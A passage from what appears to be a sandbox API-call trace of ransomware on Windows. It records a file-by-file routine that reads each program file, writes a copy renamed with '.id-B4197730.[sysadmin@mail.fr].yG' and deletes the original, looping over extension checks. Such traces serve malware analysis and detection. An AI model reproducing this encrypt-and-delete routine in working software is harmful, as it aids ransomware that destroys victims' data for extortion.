	[0182.190] WriteFile (in: hFile=0x368, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xea, lpOverlapped=0x0) returned 1
	[0182.191] SetEndOfFile (hFile=0x368) returned 1
	[0182.191] CloseHandle (hObject=0x368) returned 1
	[0182.191] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.191] SetEndOfFile (hFile=0x354) returned 1
	[0182.192] CloseHandle (hObject=0x354) returned 1
	[0182.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\parents.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0182.193] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\parents.exe" (normalized: "c:\\program files\\internet explorer\\parents.exe")) returned 1
	[0182.193] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.193] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.193] lstrlenW (lpString=".doc") returned 4
	[0182.194] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0182.194] lstrlenW (lpString=".docx") returned 5
	[0182.194] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0182.194] lstrlenW (lpString=".pdf") returned 4
	[0182.194] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0182.194] lstrlenW (lpString=".xls") returned 4
	[0182.194] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0182.194] lstrlenW (lpString=".xlsx") returned 5
	[0182.194] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0182.194] lstrlenW (lpString=".ppt") returned 4
	[0182.194] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0182.194] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.194] lstrlenW (lpString=".zip") returned 4
	[0182.194] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0182.194] lstrlenW (lpString=".rar") returned 4
	[0182.194] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0182.194] lstrlenW (lpString=".bz2") returned 4
	[0182.194] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0182.195] lstrlenW (lpString=".7z") returned 3
	[0182.195] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.195] lstrlenW (lpString=".dbf") returned 4
	[0182.195] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.195] lstrlenW (lpString=".1cd") returned 4
	[0182.195] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.195] lstrlenW (lpString=".jpg") returned 4
	[0182.195] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.195] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.195] lstrlenW (lpString=".doc") returned 4
	[0182.195] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0182.195] lstrlenW (lpString=".docx") returned 5
	[0182.195] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0182.195] lstrlenW (lpString=".pdf") returned 4
	[0182.196] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0182.196] lstrlenW (lpString=".xls") returned 4
	[0182.196] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0182.196] lstrlenW (lpString=".xlsx") returned 5
	[0182.196] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0182.196] lstrlenW (lpString=".ppt") returned 4
	[0182.196] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0182.196] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.196] lstrlenW (lpString=".zip") returned 4
	[0182.196] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0182.196] lstrlenW (lpString=".rar") returned 4
	[0182.196] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0182.196] lstrlenW (lpString=".bz2") returned 4
	[0182.196] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0182.196] lstrlenW (lpString=".7z") returned 3
	[0182.196] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0182.196] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.196] lstrlenW (lpString=".dbf") returned 4
	[0182.196] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0182.197] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.197] lstrlenW (lpString=".1cd") returned 4
	[0182.197] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0182.197] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\parents.exe") returned 46
	[0182.197] lstrlenW (lpString=".jpg") returned 4
	[0182.197] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0182.197] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0182.197] lstrlenW (lpString="deployJava1.dll") returned 15
	[0182.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0182.198] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1026112) returned 1
	[0182.198] CloseHandle (hObject=0x354) returned 1
	[0182.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20
	[0182.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0182.198] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.199] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0182.254] GetLastError () returned 0x0
	[0182.254] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0xfa840, lpOverlapped=0x0) returned 1
	[0182.807] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xfa850, lpOverlapped=0x0) returned 1
	[0183.379] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.379] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0183.379] SetEndOfFile (hFile=0x36c) returned 1
	[0183.379] CloseHandle (hObject=0x36c) returned 1
	[0183.379] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.379] SetEndOfFile (hFile=0x354) returned 1
	[0183.394] CloseHandle (hObject=0x354) returned 1
	[0183.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.394] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1
	[0183.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.395] lstrlenW (lpString=".doc") returned 4
	[0183.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.395] lstrlenW (lpString=".docx") returned 5
	[0183.395] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0183.395] lstrlenW (lpString=".pdf") returned 4
	[0183.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.395] lstrlenW (lpString=".xls") returned 4
	[0183.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.395] lstrlenW (lpString=".xlsx") returned 5
	[0183.395] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0183.395] lstrlenW (lpString=".ppt") returned 4
	[0183.395] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.395] lstrlenW (lpString=".zip") returned 4
	[0183.395] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.395] lstrlenW (lpString=".rar") returned 4
	[0183.395] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.395] lstrlenW (lpString=".bz2") returned 4
	[0183.395] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.395] lstrlenW (lpString=".7z") returned 3
	[0183.395] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.395] lstrlenW (lpString=".dbf") returned 4
	[0183.395] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.396] lstrlenW (lpString=".1cd") returned 4
	[0183.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.396] lstrlenW (lpString=".jpg") returned 4
	[0183.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.396] lstrlenW (lpString=".doc") returned 4
	[0183.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString=".docx") returned 5
	[0183.396] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0183.396] lstrlenW (lpString=".pdf") returned 4
	[0183.396] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString=".xls") returned 4
	[0183.396] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString=".xlsx") returned 5
	[0183.396] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0183.396] lstrlenW (lpString=".ppt") returned 4
	[0183.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.396] lstrlenW (lpString=".zip") returned 4
	[0183.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString=".rar") returned 4
	[0183.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.396] lstrlenW (lpString=".bz2") returned 4
	[0183.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.397] lstrlenW (lpString=".7z") returned 3
	[0183.397] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.397] lstrlenW (lpString=".dbf") returned 4
	[0183.397] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.397] lstrlenW (lpString=".1cd") returned 4
	[0183.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.397] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0183.397] lstrlenW (lpString=".jpg") returned 4
	[0183.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.398] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.398] lstrlenW (lpString="eula.dll") returned 8
	[0183.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0183.399] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=136256) returned 1
	[0183.399] CloseHandle (hObject=0x354) returned 1
	[0183.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20
	[0183.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.399] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0183.400] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.400] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.400] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.401] GetLastError () returned 0x0
	[0183.401] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x21440, lpOverlapped=0x0) returned 1
	[0183.428] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x21450, lpOverlapped=0x0) returned 1
	[0183.431] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.432] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0183.432] SetEndOfFile (hFile=0x36c) returned 1
	[0183.432] CloseHandle (hObject=0x36c) returned 1
	[0183.432] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.432] SetEndOfFile (hFile=0x354) returned 1
	[0183.434] CloseHandle (hObject=0x354) returned 1
	[0183.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.434] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1
	[0183.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.434] lstrlenW (lpString=".doc") returned 4
	[0183.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.434] lstrlenW (lpString=".docx") returned 5
	[0183.434] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0183.435] lstrlenW (lpString=".pdf") returned 4
	[0183.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.435] lstrlenW (lpString=".xls") returned 4
	[0183.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.435] lstrlenW (lpString=".xlsx") returned 5
	[0183.435] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0183.435] lstrlenW (lpString=".ppt") returned 4
	[0183.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.435] lstrlenW (lpString=".zip") returned 4
	[0183.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.435] lstrlenW (lpString=".rar") returned 4
	[0183.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.435] lstrlenW (lpString=".bz2") returned 4
	[0183.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.435] lstrlenW (lpString=".7z") returned 3
	[0183.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.435] lstrlenW (lpString=".dbf") returned 4
	[0183.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.435] lstrlenW (lpString=".1cd") returned 4
	[0183.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.435] lstrlenW (lpString=".jpg") returned 4
	[0183.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.436] lstrlenW (lpString=".doc") returned 4
	[0183.436] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.436] lstrlenW (lpString=".docx") returned 5
	[0183.436] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0183.436] lstrlenW (lpString=".pdf") returned 4
	[0183.436] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.436] lstrlenW (lpString=".xls") returned 4
	[0183.436] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.436] lstrlenW (lpString=".xlsx") returned 5
	[0183.436] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0183.436] lstrlenW (lpString=".ppt") returned 4
	[0183.436] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.436] lstrlenW (lpString=".zip") returned 4
	[0183.436] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.436] lstrlenW (lpString=".rar") returned 4
	[0183.436] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.436] lstrlenW (lpString=".bz2") returned 4
	[0183.436] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.436] lstrlenW (lpString=".7z") returned 3
	[0183.436] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.436] lstrlenW (lpString=".dbf") returned 4
	[0183.436] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.436] lstrlenW (lpString=".1cd") returned 4
	[0183.436] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47
	[0183.436] lstrlenW (lpString=".jpg") returned 4
	[0183.437] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.437] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.437] lstrlenW (lpString="fontmanager.dll") returned 15
	[0183.437] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0183.438] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=274496) returned 1
	[0183.438] CloseHandle (hObject=0x354) returned 1
	[0183.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20
	[0183.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0183.438] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.438] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.439] GetLastError () returned 0x0
	[0183.439] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x43040, lpOverlapped=0x0) returned 1
	[0183.470] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x43050, lpOverlapped=0x0) returned 1
	[0183.778] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.778] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0183.778] SetEndOfFile (hFile=0x36c) returned 1
	[0183.778] CloseHandle (hObject=0x36c) returned 1
	[0183.779] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.779] SetEndOfFile (hFile=0x354) returned 1
	[0183.782] CloseHandle (hObject=0x354) returned 1
	[0183.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.782] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1
	[0183.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.782] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.783] lstrlenW (lpString=".doc") returned 4
	[0183.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.783] lstrlenW (lpString=".docx") returned 5
	[0183.783] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
